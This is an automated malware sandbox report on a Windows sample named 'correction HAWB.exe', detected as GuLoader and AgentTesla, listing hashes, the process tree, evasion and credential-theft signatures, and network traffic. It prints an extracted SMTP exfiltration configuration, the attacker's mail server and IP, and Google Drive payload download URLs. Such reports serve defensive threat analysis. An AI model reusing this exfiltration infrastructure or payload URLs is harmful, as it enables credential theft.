Play interactive tour

Edit tour

Windows Analysis Report correction HAWB.exe

Overview

General Information

Sample Name:	correction HAWB.exe
Analysis ID:	1638
MD5:	a4ef1695bddce6530a28e0d72ae7f8c4
SHA1:	3905f0749e1c55ad4d8fb2a1969cf3f74bc0aeb4
SHA256:	64939ef2abe9b397b1f99bb4ba00c7e49be75f14013647c8e0605fb5fdb3b14b
Infos:
Most interesting Screenshot:

Detection

GuLoader AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Potential malicious icon found

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

GuLoader behavior detected

Sigma detected: RegAsm connects to smtp port

Yara detected GuLoader

Hides threads from debuggers

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Modifies the hosts file

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Tries to steal Mail credentials (via file access)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

correction HAWB.exe (PID: 9196 cmdline: 'C:\Users\user\Desktop\correction HAWB.exe' MD5: A4EF1695BDDCE6530A28E0D72AE7F8C4)

RegAsm.exe (PID: 5796 cmdline: 'C:\Users\user\Desktop\correction HAWB.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

tKZVPq.exe (PID: 8428 cmdline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 8140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

tKZVPq.exe (PID: 2424 cmdline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 3520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "purchasing@cselegance.comCSE.868mail.cselegance.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1536475707.0000000000770000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: RegAsm.exe PID: 5796	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegAsm.exe PID: 5796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 116.0.120.83, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 5796, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49766

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: correction HAWB.exe.9196.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "purchasing@cselegance.comCSE.868mail.cselegance.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: correction HAWB.exe	Virustotal: Detection: 25%			Perma Link
Source: correction HAWB.exe	ReversingLabs: Detection: 24%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAAED10 CryptUnprotectData,		12_2_1CAAED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAAF3A1 CryptUnprotectData,		12_2_1CAAF3A1

Source: correction HAWB.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 172.217.168.46:443 -> 192.168.11.20:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.11.20:49760 version: TLS 1.2

Source:	Binary string: RegAsm.pdb source: tKZVPq.exe, tKZVPq.exe.12.dr
Source:	Binary string: RegAsm.pdb4 source: tKZVPq.exe, 0000001B.00000000.1834677005.0000000000202000.00000002.00020000.sdmp, tKZVPq.exe, 00000020.00000002.1919301977.0000000000F02000.00000002.00020000.sdmp, tKZVPq.exe.12.dr

Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_004022AE
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_00403451
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_00403660
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_0040386A
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_00403A74
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_00403236
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_004034DC
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_004038EC
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_00403345
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_00403563
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_00403973
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_004035E1
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_004037ED
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_004039F7
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 4x nop then ret	0_2_004031AF

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.11.20:49766 -> 116.0.120.83:587

Source: Joe Sandbox View

ASN Name: GTC-MY-PIP-ASGlobalTransitCommunications-MalaysiaMY GTC-MY-PIP-ASGlobalTransitCommunications-MalaysiaMY

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8uio1dqpn5ahgfavoi7o8vnkc5qp90/1634122275000/16524389560697724177/*/1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-28-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49766 -> 116.0.120.83:587

Source: global traffic

TCP traffic: 192.168.11.20:49766 -> 116.0.120.83:587

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: RegAsm.exe, 0000000C.00000002.5779515273.000000001DD22000.00000004.00000001.sdmp

String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C

Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	String found in binary or memory: http://JgQKqy.com
Source: RegAsm.exe, 0000000C.00000003.1513881162.0000000000E42000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 0000000C.00000003.1513881162.0000000000E42000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 0000000C.00000002.5780921850.000000001DD9E000.00000004.00000001.sdmp	String found in binary or memory: http://cselegance.com
Source: RegAsm.exe, 0000000C.00000002.5780921850.000000001DD9E000.00000004.00000001.sdmp	String found in binary or memory: http://mail.cselegance.com
Source: RegAsm.exe, 0000000C.00000003.1509438325.0000000000E48000.00000004.00000001.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 0000000C.00000002.5752371234.0000000000E01000.00000004.00000020.sdmp	String found in binary or memory: https://doc-08-28-docs.googleusercontent.com/2
Source: RegAsm.exe, 0000000C.00000002.5752371234.0000000000E01000.00000004.00000020.sdmp	String found in binary or memory: https://doc-08-28-docs.googleusercontent.com/d
Source: RegAsm.exe, 0000000C.00000003.1513881162.0000000000E42000.00000004.00000001.sdmp	String found in binary or memory: https://doc-08-28-docs.googleusercontent.com/doc
Source: RegAsm.exe, 0000000C.00000003.1509950713.0000000000E42000.00000004.00000001.sdmp	String found in binary or memory: https://doc-08-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8uio1d
Source: RegAsm.exe, 0000000C.00000002.5750988193.0000000000DB8000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 0000000C.00000002.5757771183.0000000000FA0000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB
Source: RegAsm.exe, 0000000C.00000003.1509950713.0000000000E42000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrBrhdQEDTFybmuMMIWI
Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5778351743.000000001DCD1000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/
Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com//
Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/v104
Source: RegAsm.exe, 0000000C.00000002.5778351743.000000001DCD1000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: RegAsm.exe, 0000000C.00000002.5779515273.000000001DD22000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000003.2451512819.000000001C871000.00000004.00000001.sdmp	String found in binary or memory: https://xgdZXmEGQW.org
Source: RegAsm.exe, 0000000C.00000002.5779515273.000000001DD22000.00000004.00000001.sdmp	String found in binary or memory: https://xgdZXmEGQW.org(6
Source: RegAsm.exe, 0000000C.00000002.5779515273.000000001DD22000.00000004.00000001.sdmp	String found in binary or memory: https://xgdZXmEGQW.orgt-~l

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8uio1dqpn5ahgfavoi7o8vnkc5qp90/1634122275000/16524389560697724177/*/1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-28-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 172.217.168.46:443 -> 192.168.11.20:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.11.20:49760 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands:

Modifies the hosts file

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Source: correction HAWB.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00401868	0_2_00401868
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_004022AE	0_2_004022AE
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00403236	0_2_00403236
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00403345	0_2_00403345
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_004031AF	0_2_004031AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00921130	12_2_00921130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00923A50	12_2_00923A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0092C278	12_2_0092C278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00924320	12_2_00924320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00929DD0	12_2_00929DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0092CFD8	12_2_0092CFD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00923708	12_2_00923708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9ECDF8	12_2_1C9ECDF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9EC9A0	12_2_1C9EC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9EE2E4	12_2_1C9EE2E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9EFC18	12_2_1C9EFC18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9E9DB8	12_2_1C9E9DB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9E585C	12_2_1C9E585C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9E5878	12_2_1C9E5878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9E3330	12_2_1C9E3330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAA40B8	12_2_1CAA40B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAAB9B0	12_2_1CAAB9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAA7106	12_2_1CAA7106
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAA6E90	12_2_1CAA6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAAC428	12_2_1CAAC428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1CAAC3BC	12_2_1CAAC3BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1DB25E08	12_2_1DB25E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1DB24ACC	12_2_1DB24ACC
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 27_2_00203DFE	27_2_00203DFE
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 32_2_00F03DFE	32_2_00F03DFE

Source: C:\Users\user\Desktop\correction HAWB.exe

Code function: String function: 0040177E appears 94 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 98%

Source: correction HAWB.exe, 00000000.00000000.685827454.000000000041D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameThievesb9.exe vs correction HAWB.exe
Source: correction HAWB.exe, 00000000.00000002.1537717282.00000000023F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameThievesb9.exeFE2X, vs correction HAWB.exe
Source: correction HAWB.exe	Binary or memory string: OriginalFilenameThievesb9.exe vs correction HAWB.exe

Source: correction HAWB.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\correction HAWB.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC

Source: correction HAWB.exe	Virustotal: Detection: 25%
Source: correction HAWB.exe	ReversingLabs: Detection: 24%

Source: correction HAWB.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\correction HAWB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\correction HAWB.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\correction HAWB.exe 'C:\Users\user\Desktop\correction HAWB.exe'
Source: C:\Users\user\Desktop\correction HAWB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\correction HAWB.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\correction HAWB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\correction HAWB.exe'	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\tKZVPq

Jump to behavior

Source: classification engine

Classification label: mal100.rans.spre.troj.adwa.spyw.evad.winEXE@8/6@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6740:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3520:304:WilStaging_02

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: RegAsm.pdb source: tKZVPq.exe, tKZVPq.exe.12.dr
Source:	Binary string: RegAsm.pdb4 source: tKZVPq.exe, 0000001B.00000000.1834677005.0000000000202000.00000002.00020000.sdmp, tKZVPq.exe, 00000020.00000002.1919301977.0000000000F02000.00000002.00020000.sdmp, tKZVPq.exe.12.dr

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000000.00000002.1536475707.0000000000770000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00406072 push ecx; iretd	0_2_00406076
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00403CCE push ecx; iretd	0_2_00403CDD
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00407AEA push edi; iretd	0_2_00407AEE
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00405356 pushad ; ret	0_2_00405360
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00406D22 pushad ; ret	0_2_00406D28
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_004055DD push ebx; iretd	0_2_00405607
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00407D89 push ebp; retf	0_2_00407D8A
